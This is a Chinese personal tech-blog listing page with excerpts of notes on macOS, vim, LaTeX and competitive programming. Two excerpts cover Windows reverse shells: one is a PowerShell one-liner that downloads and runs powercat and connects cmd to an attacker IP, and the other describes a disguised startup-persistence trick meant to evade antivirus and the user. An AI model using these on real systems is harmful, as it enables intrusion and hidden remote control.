自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(148)
  • 问答 (1)
  • 收藏
  • 关注

原创 docsify 将md渲染为精致的html

简单使用初始化(不会清空文件夹): docsify init 路径,会生成以下文件index.html 入口文件,通过修改index文件可以得到不同的渲染效果README.md 主页面渲染其他文件直接在网址后见加路径就可以得到启动docsify serve 目标文件...

2022-03-05 10:01:33 328

原创 zathura 快捷键

a 页面改为合适大小s 页面占整个串口tab 目录

2022-01-17 17:16:37 387

原创 opencv mac 终端配置

brwe install opencv使用pkg-config 帮我们配置依赖。所以在/usr/local/lib/pkgconfig中创建pc文件opencv.pc内容如下prefix=/usr/localexec_prefix=${prefix}includedir=${prefix}/includelibdir=${exec_prefix}/libName: opencvDescription: The opencv libraryVersion:4.0.1Cflags: -I.

2021-12-21 16:57:07 1991

原创 mac配置vimtex+latexmk环境

latexmk首先安装mac集成的basictex,然后终端输入sudo tlmgr update --self --repository http://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/tlnetsudo tlmgr install latexmk --repository http://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/tlnet中文编译失败 开头加上%! Tex

2021-11-25 09:41:29 627

原创 snippet编写学习

杂选${VISUAL:contents} 表示在这块时、会自动选中这块内容作用于全部文件all.snippetoption 选项作选项解释b只有当 trigger在行首才有i默认情况下, trigger是自成一个单词才有用. 加了这个选项, 即使是在单词中, 只要出现了这几个字母, 就可以使用比如 aaatrigger, 也可以使用w与 i 相反, 只有是一个单词(前面是空格) 才可以使用r支持正则表达t在这里, 的其他功能失效, 就当成空

2021-11-24 17:47:38 474

原创 mac 系统命令

关闭启动声音:sudo nvram SystemAudioVolume=%00启动:sudo nvram -d SystemAudioVolume修改截图存放路径:defaults write com.apple.screencapture location ~/Desktop/Picture查看当前存放路径:defaults read com.apple.screencapture location改变截图格式 defaults write com.apple.screencapture.

2021-07-05 10:19:58 75

原创 mac终端命令粘贴图片

使用pngpaste自带的paste 无法复制图片,今天发现这条宝藏命令 记录以下brew install pngpaste复制好图片后:pngpaste path

2020-12-10 20:05:11 448

原创 windows 已拿到mysql权限最简单的反弹shell方式

大多数人mysql密码是123456 这个时候如果还开放了该端口 可就危险了需要运行的是5.x版本的mysql (一般老师教学都是这个版本)对比网上powercat 脚本多了步把powercat替换成nn命令,这样windows就无法检测出病毒,同时使用vbs 来运行bat也使得用户不易察觉。 注意以下是将病毒植入开机启动程序,需要开机时才能启动服务器需要做的事将脚本上传到客户端可以访问的地方(如启动自带的aphacl,将脚本添加到index.html文件的链接里)服务器启动nc -.

2020-12-05 11:14:13 585

原创 codeforce1453题解

A. Cancel the Trains描述:有100*100条互相交叉的铁路,每次给你n和m量火车,aia_iai​表示从下/左,向上/右出发的第车道. 他们是同时出发的,所以下面的车和左边的车可能会相撞。问要取消多少量车才不会出现事故0≤n,m≤1000\le n,m\le 1000≤n,m≤100分析:只有下坐标和左坐标相等才会出现碰撞,所以遍历一遍把相等的删了就行了,时间复杂的O(nm) , 官方题解有O(n+m)的有空在看#include<iostream>#include&

2020-12-05 10:47:09 172

原创 TCP连接中为什么不是两次握手

可以模拟打电话(协议好像都可以这样理解)a拨打b电话b接通,然后说“你好”a回答,“你好”,b接收 然后开始通信

2020-11-30 10:13:20 100 2

原创 欧拉降幂全过程

乘法逆元ax=1(mod  p)ax=1 (\mod p)ax=1(modp) 且gcd(a,p)==1, 则a的模p的乘法逆元为x费马小定理ap−1≡1(mod  p)⟹a∗ap−2a^{p-1}\equiv 1 (\mod p)\Longrightarrow a*a^{p-2}ap−1≡1(modp)⟹a∗ap−2 ,p为质数. 显然ap−2a^{p-2}ap−2 就是a的模p的乘法逆元分数取模除法取模(p为质数)abmod  p=abbp−1mod  p=a∗bp−2mod  p\frac{

2020-11-27 19:57:51 306

原创 mac下安装telnet 和ftp命令

brew install inetutilsbrew link --overwrite inetutils

2020-11-27 09:39:06 378

原创 codeforce content 1451

A题描述:有给你一个n,有以下操作n=n-1n=n/i ; i为n的约数找出操作次数最少,使得n–>1分析:因为除开2以外,最少步骤必定大于等于2。所以n如果是偶数时,余2是最优的选择,如果是偶数则先减1然后除2,也必定是最优的选择#include<iostream>#include<math.h>using namespace std; int main(){ int t; cin>>t; while(t--){ int n;

2020-11-26 21:00:22 83

原创 ftp

ftp概述连个过程:发送命令,使用21端口发送数据,主动模式下服务端是20端口被动模式: 主机去连接服务器(服务器数据端口用PORT命令告诉客户端)主动模式:服务器去连接主机windows 客户端打开被动模式: literal PASV...

2020-11-26 11:48:45 74

原创 vim实用技巧之自动补全

补全路径:<C-x><c-f>补全行:<c-x><c-l>补全单词:<C-x><c-k>根据当前缓冲区补全:<c-x><c-n>返回最开始的字:<c-e>显示缓冲区列表:ls!(打开的文件)跟换当前的工作目录:cd path显示当前工作目录:pwd...

2020-11-25 18:31:14 445

原创 vim实用技巧之拼写检查器,查找并更正拼写错误

正常单词拼写纠正set spell : 然后错误单词会有下划线[s : 向前跳转]s : 向后跳转z= :查看推荐修改的单词 , 也可以使用:<C-x>/<C-x>s 直接出现下拉框zg :添加该单词到拼写文件中zw:从拼写文件中删除zug :撤销 zw/zg...

2020-11-25 18:13:09 389

原创 mac 终端下控制剪切板

pbpaste > test.txt 将剪切板输入到文件中pbcopy < test.txt 将文件输入到剪切板中

2020-11-24 10:25:34 164

原创 2020-11-23

LCD12864LCD12864使用st7920控制器,汉子位置必须是偶数A汉子:1616点阵字符:816点阵及64*256点阵显示RAM(GDRAM)使用8位并行共20位it向上接板子后面发光二极管正负极;20 BLK19 BLA3 V0 对比度(1602 逆时针,it顺时钟)4 RS(CS) 控制命令还是数据5 R/W(SID) 读写6 E 使能信号7-14 命令15 PSB 串口还是并口16 NC 未定义17 RST 复位18 NC 未定义读状态 加时间延时R

2020-11-23 16:56:02 92

原创 telnet 验证http和smtp协议

http使用telnet www.baidu.com 80之后会进入一个编辑界面,这个就是也建立的http会话过程,如果按ctr+]则退出了这个会话 去运行telnet命令 ,注意编辑状态下的命令和telnet的命令是两回事之后就可以发送各种请求了 如GET / HTTP/1.1 表示请求根目录下的页面 运行的http是1.1版本smtp说过http后smtp也比较好理解了这里重点介绍测试过程中遇到的问题准备工作,首先如果用qq邮箱测试需要打开imap 服务,打开方法,进入邮箱,然

2020-11-21 11:34:38 1328

原创 vimrc 配置进阶

关键字ab test1 test2 :输入test1 自动补全test2set 关键字设置已有的变量,let定义没有的变量函数定义如下:func! rungcc() exec "w" if &filetype == 'c' exec '!g++ % -o %<' elseif &filetype == 'cpp' exec '!g++ % -o %<' exec '!open -n -a Terminal.app ./%<' endif

2020-11-20 09:50:39 83

原创 linux 文本编辑三剑客 awk sed grep

awk适用于格式化输出结果sed适用于宏替换 与vim中的替换规则一样grep查找o 只输出匹配的部分,否则输出一行

2020-11-17 15:57:06 66

原创 outfile 额外的\

在命令后加LINES TERMINATED BY '\r\n'

2020-11-16 21:06:43 51

原创 反弹Windows shell

方法:目标机powershell +攻击机nc攻击机器运行:nc -l 2222目标机:powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.120 -p 2222 -e cmd出现的问题:curl : 未.

2020-11-16 16:29:07 740

原创 mysql 无法启动服务

将my.ini 删除将my-small.ini改名为my.ini在新的my.ini 中找到[mysqld] 并且在下面添加:basedir=C:\Program Files (x86)\MySQL\MySQL5.5datadir=C:\Program Files (x86)\MySQL\MySQL5.5\data

2020-11-11 19:05:16 60

原创 karabiner-elements

karabiner-elements1.下载可以编译安装 或者 下打包好的软件2. 配置详细讲解complex 组合键映射:点击add rules 如果你的/Users/yaozhengbing/.config/karabiner/assets/complex_modifications 目录下有完整的json文件会自动识别如:json 文件格式如 将ctrl+左右方向键 映射为command左右方向键, 其中right_commond 表示右边的command键, 想查看键位对于的na

2020-10-24 12:56:39 632

转载 centos 安装squid代理服务器

参考yum -y install squid // 安装systemctl enable squid.service //设置开机启动在/etc/squid/squid.conf下将cache_dir ufs /var/spool/squid 100 16 256的注释去掉,并且在http_access deny all前添加,############# start ############auth_param basic program /usr/lib64/squid/basic_ncsa

2020-09-24 22:08:12 126

转载 markdown 画图

包括:状态图,饼状图,时序图,流程图,甘特图参考

2020-09-17 13:24:26 105

转载 makefile 文件的编写

参考make 的工作过程流程:查找是否有目标文件没有目标文件: 执行命令生成目标文件有目标文件,查看是否有依赖对象:没有依赖对象:报错(不需要跟新)有依赖对象,判断依赖对象是否更改,依赖对象更改:重生成目标文件依赖对象没有更改:不变重复上述工作知道makefile文件末尾格式(前置条件和规则(多条命令组成规则)最少出现一个,缺少规则则会搜索内置的转换规则):目标文件:依赖文件 命令如(可以测试只有test:test.c 会怎么样):test:test.c

2020-08-02 12:40:06 66

原创 python 模糊匹配某类文件

例子:如果你打算操作某个跟目录下 包含‘test’串的文件, 那么这篇文章对你或许有用import globpath = "/Users/name/Desktop/CET6/*/*/*test*" temDir = glob.glob(path)#模糊匹配,该目录下的文件,结果是各个文件路径组成的列表...

2020-07-15 22:42:16 762

原创 markdown 语法注释

[任意描述]: 要注释的内容如[^_^]: test或[>_>]: test

2020-07-14 16:52:06 637

原创 linux下 查找包含某个字符串的文件

grep stringName ./ -r -n

2020-06-17 15:11:37 245

原创 brew更新卡死 或者下载找不到包

brew install 时如果卡死在update , 或者有些brew install 出现找不到包的错误. 这个时刻可以试试换个镜像源跟换镜像源方法cd "$(brew --repo)"git remote set-url origin https://mirrors.ustc.edu.cn/brew.gitcd "$(brew --repo)/Library/Taps/homebrew/homebrew-core"git remote set-url origin https://mi.

2020-06-15 14:43:08 919

原创 中断下打开应用以及指定应用程序打开文件--open

打开当前文件夹 : open .打开应用程序: open Aplication指定应用程序打开文件: open -a Aplication filename放在后台打开: open -g如果以及打开了这个app 还想打开一个: open -n

2020-06-13 15:21:52 150

原创 vim 编辑二进制文件

使用vim -b filename (如果不佳-b会多个0x0a换行符)使用: :%!xxd 切换到16进制显示转换回去: :%!xxd -r

2020-06-12 14:55:37 189

原创 mac桌面平铺Yabai安装教程

# clone tapbrew tap koekeishiya/formulae# install the latest stable versionbrew install yabai# install scripting-addition (will work only if you have SIP disable)sudo yabai --install-sa# default dotfile for yabaicp /usr/local/opt/yabai/share/yaba

2020-06-09 11:58:18 1106

原创 python 画函数图

引用两个包: matplot.pyplot, plot 绘画; numpy设置定义域: x = numpy.range(start, stop, sep)构建函数: y = x写标题: pyplot.title(“title”)绘制函数: pyplot.plot()显示出来: pyploy.show()

2020-06-01 09:35:36 395

原创 mysql Expression #1 of SELECT list is not in GROUP BY

出现这个错误 可以用 mysql>select @@sql_mode; 查看@@sql_mode 是否包括了ONLY_FULL_GROUP_BY这个模式只在当时有效 SET sql_mode=(SELECT REPLACE(@@sql_mode,‘ONLY_FULL_GROUP_BY’,’’));永久有效需要更改配置文件, linux 在/etc/my.cnf , windows在my.ini 设置(没有ONLY_FULL_GROUP_BY 后的select @@sql_mode;.

2020-05-18 15:16:38 142

原创 浮点数, 定点数

首先要知道, 不管整数, 小数. 在计算机中都是二进制存储.同样是二进制存储, 所以区分整数和小数的地方就是小数点, 有两种小数点的放置方法固定位置, 也就是定义字节种第几位开始后面的是小数, 这就是定点数还一种, 如科学计数法 m∗10nm*10^nm∗10n, m是小数, 加入m是小数, 随着n的改变 整个式子确定的小数点有效位也不同,...

2020-05-15 21:21:22 90

转载 linux 环境变量设置

很多介绍环境变量设置的都是直接告诉你 export PATH = // , 没具体介绍终端环境变量分几类, 设置又需要注意什么, 这里把这些讲清楚了分类HOME:用于保存用户主目录的完全路径名。PATH:用于保存用冒号分隔的目录路径名,shell将按PATH变量中给出的顺序搜索这些目录,找到的第一个与命令名称一致的可执行文件将被执行。SHELL:当前用户使用的ShellUID:当前用户的UIDLOGNAME:当前用户的登录名HOSTNAME:主机名称查看变量set 命令显示当前.

2020-05-15 18:02:43 84

原创 centos 安装mysql

安装mysql修改密码 第一次设置密码要包括大写小写特殊字符数字且长度大于8

2020-05-12 10:50:30 85

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除